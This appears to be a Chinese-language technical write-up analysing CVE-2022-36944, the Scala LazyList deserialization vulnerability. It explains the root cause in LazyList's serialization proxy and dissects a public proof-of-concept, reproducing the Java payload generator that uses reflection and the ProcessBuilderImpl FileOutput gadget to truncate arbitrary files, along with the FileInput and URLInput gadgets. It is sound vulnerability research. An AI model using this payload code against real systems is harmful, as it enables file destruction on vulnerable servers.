的序列化以及反序列化方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @SerialVersionUID (3 L) final class SerializationProxy [A ](@transient protected var coll: LazyList [A ] ) extends Serializable { private [this ] def writeObject (out: ObjectOutputStream ): Unit = { out.defaultWriteObject() var these = coll while (these.knownNonEmpty) { out.writeObject(these.head) these = these.tail } out.writeObject(SerializeEnd ) out.writeObject(these) } private [this ] def readObject (in: ObjectInputStream ): Unit = { in.defaultReadObject() val init = new ArrayBuffer [A ] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A ] } val tail = in.readObject().asInstanceOf[LazyList [A ]] coll = init ++: tail } private [this ] def readResolve (): Any = coll }
在进行序列化时将调用writeObject
方法。 首先将会调用输出流对象的defaultWriteObject
方法,然后调用LazyList
对象these
的knownNonEmpty
方法判断是否已经被求值且仍有值未被取走则首先将被取出的值进行常规的序列化,然后将剩余值的计算方法(tail
)赋值给these
变量。当所有的被计算过的值都被取出后则退出循环,然后插入一个序列化终止标志,最后再将these
进行序列化。插入序列化终止标志是为了分割两种不同的序列化对象,终止标志前的部分为被计算过的值,而后面的部分为剩余值的计算方法(tail
)。 在进行反序列化时将先调用readObject
方法,再调用readResolve
方法。readObject
方法中,首先调用输入流对象的defaultReadObject
方法,然后创建缓冲列表init
用以存储被反序列化的计算值,标志initRead
用以判断计算值是否被读取完毕,若读取完毕则反序列化剩余值的计算方法并赋值给tail
变量,然后调用init
的++:
方法,对已计算值与计算方法进行连接。
LazyList反序列化漏洞成因 在调用++:
方法时漏洞产生了
1 @`inline` override final def ++ : [B >: A ](prefix: IterableOnce [B ]): CC [B ] = prependedAll(prefix)
prependedAll
方法在LazyList
中被重写
1 2 3 4 override def prependedAll [B >: A ](prefix: collection.IterableOnce [B ]): LazyList [B ] = if (knownIsEmpty) LazyList .from(prefix) else if (prefix.knownSize == 0 ) this else newLL(stateFromIteratorConcatSuffix(prefix.iterator)(state))
knownIsEmpty
方法用于判断计算方法中是否仍有值未被计算
1 2 @inline private [this ] def knownIsEmpty : Boolean = stateEvaluated && (isEmpty: @inline )
isEmpty
方法判断是否有值仍未被计算
1 override def isEmpty : Boolean = state eq State .Empty
前面已经提到过state
来自lazyState
方法的计算结果,而lazyState
来自于实例化LazyList
对象时传的一个无参匿名函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @SerialVersionUID (3 L)final class LazyList [+A ] private (private[this] var lazyState: ( ) => LazyList .State [A ]) extends AbstractSeq [A ] with LinearSeq [A ] with LinearSeqOps [A , LazyList , LazyList [A ]] with IterableFactoryDefaults [A , LazyList ] with Serializable { import LazyList ._ @volatile private [this ] var stateEvaluated: Boolean = false @inline private def stateDefined : Boolean = stateEvaluated private [this ] var midEvaluation = false private lazy val state: State [A ] = { if (midEvaluation) { throw new RuntimeException ("self-referential LazyList or a derivation thereof has no more elements" ) } midEvaluation = true val res = try lazyState() finally midEvaluation = false stateEvaluated = true lazyState = null res } }
那么,如果在创建LazyList
对象时给其传任意一个无参匿名函数,岂不是可已实现任意无参匿名函数调用。
LazyList反序列化漏洞利用 在知道了漏洞的成因后,如何寻找可利用的匿名函数是个难点。github中流传着该漏洞的POC。CVE-2022-36944 POC 对该POC
代码进行分析,入口点为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package poc.cve.lazylist.payload;import poc.cve.lazylist.function0.DefaultProviders;import java.io.IOException;public class Main { public static void main (String[] args) throws IOException { String fileToTruncate = args[0 ]; boolean append = Boolean.parseBoolean(args[1 ]); PayloadGenerator payloadGenerator = new LazyList (DefaultProviders.FILE_OUTPUT); byte [] payload = payloadGenerator.generatePayload(fileToTruncate, append); System.out.write(payload); } }
在创建payloadGenerator
对象时使用的DefaultProviders.FILE_OUTPUT
是一个Function
对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static final Function<Object[], Function0<Object>> FILE_OUTPUT = DefaultProviders::fileOutput; public static Function0<Object> fileOutput (Object[] args) { String fileToTruncate = (String) args[0 ]; boolean append = (Boolean) args[1 ]; return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3" , new Class []{ ProcessBuilder$.class, File.class, boolean .class}, new Object [] {null , new File (fileToTruncate), append}); }
generatePayload
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private static final String LAZY_LIST_CLASSNAME = "scala.collection.immutable.LazyList" ;@Override public byte [] generatePayload(Object... args) { Function0<Object> function0 = function0Provider.apply(args); Object lazyList = createLazyList(function0); Object serializationProxy = ReflectionUtil.newInstance("scala.collection.immutable.LazyList$SerializationProxy" , lazyList); return SerdeUtil.serialize(serializationProxy); }
function0Provider
即前面传入的FILE_OUTPUT
,通过调用其注入器方法apply
显式的构造一个Function0
类型的对象,然后将该对象传入到createLazyList
创建一个LazyList
对象,最终使用SerializationProxy
进行包装(参考LazyList writerePlace
方法)最终将该对象序列化。 在调用createLazyList
创建LazyList
对象时首先通过反射的方式创建了LazyList对
象,然后设置了其三个属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object createLazyList (Function0<Object> function0) { Object lazyList = ReflectionUtil.newInstance(LAZY_LIST_CLASSNAME, new Class [] {Function0.class}, function0); Object emptyLazyListState = ReflectionUtil.getStaticField("scala.collection.immutable.LazyList$State$Empty$" , "MODULE$" ); ReflectionUtil.setField(lazyList, "scala$collection$immutable$LazyList$$state" , emptyLazyListState); ReflectionUtil.setField(lazyList, "scala$collection$immutable$LazyList$$stateEvaluated" , true ); ReflectionUtil.setField(lazyList, "bitmap$0" , true ); return lazyList; }
在POC
中除了提供scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3
外,还提供了另外两个可使用的匿名函数
1 2 3 4 scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2 scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1
那么在Scala
源码中着三个匿名函数来自哪里。 在创建Scala
匿名函数时,若没有显式地为这些函数命名,那么Scala
编译器将自动为这些函数分配一个名称,这些名称的格式为$anonfunc$1
,其中$anonfunc
表示着是匿名函数,$1
为编号用以区分不同的匿名函数。 了解了这一点我们尝试对scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3
进行解析。ProcessBuilderImpl
为特质,而FileOutput
是其内部类,anonfun
标识了匿名函数,$lessinit$greater
标识了名称,$3
标识了匿名函数的编号。将$lessinit$greater
翻译一下就是<init>
。这与前文提到的匿名函数通用格式有所区别,Payload
使用的匿名函数多了$lessinit$greater
标志。 在Scala
源码中 我们找到了ProcessBuilderImpl
内部类FileOutput
以及另外两个可用内部类的实现。
1 2 3 private [process] class URLInput (url: URL ) extends IStreamBuilder (url.openStream( ), url .toString )private [process] class FileInput (file: File ) extends IStreamBuilder (new FileInputStream (file ), file .getAbsolutePath )private [process] class FileOutput (file: File , append: Boolean ) extends OStreamBuilder (new FileOutputStream (file, append ), file .getAbsolutePath )
在这里,注意到这三个类除了定义了主构造函数外便在没有定义其他的内容了,那么Payload
中的匿名函数从哪里来。 通过观察上述三个函数的声明形式,可以注意到以下特征
均继承了一个父类
在父类的主构造函数中调用了子类参数的方法
跟进IStreamBuilder类,还可以发现该类的第一个参数为传名调用
1 2 3 4 5 6 private [process] class IStreamBuilder ( stream: => InputStream , label: String ) extends ThreadBuilder (label, _ processOutput protect(stream )) { override def hasExitValue = false }
通过模拟上述形式得到以下代码
1 2 3 4 5 6 7 package org.exampleclass Parent (i: => Int ) {} class Son (s: String ) extends Parent (s.length( ))
通过IDEA
进行编译后查看生成的类发现确实生成了Son$$anonfun$$lessinit$greater$1
通过javap
命令查看该类的字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public final int apply () ; descriptor: ()I flags: ACC_PUBLIC, ACC_FINAL Code: stack=1 , locals=1 , args_size=1 0 : aload_0 1 : invokevirtual #23 4 : ireturn LineNumberTable: line 7 : 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this Lorg/example/Son$$anonfun$$lessinit$greater$1 ; public int apply$mcI$sp(); descriptor: ()I flags: ACC_PUBLIC Code: stack=1 , locals=1 , args_size=1 0 : aload_0 1 : getfield #27 4 : invokevirtual #32 7 : ireturn LineNumberTable: line 7 : 0 LocalVariableTable: Start Length Slot Name Signature 0 8 0 this Lorg/example/Son$$anonfun$$lessinit$greater$1 ;
通过分析发现,Son$$anonfun$$lessinit$greater$1
即是Parent
类的第一个参数s.length()
的引用,同理可知在FileOutput
中 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3
即new FileOutputStream(file, append)
的引用。故POC中在创建scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3
对象时传入了两个参数new File(fileToTruncate), append
参考链接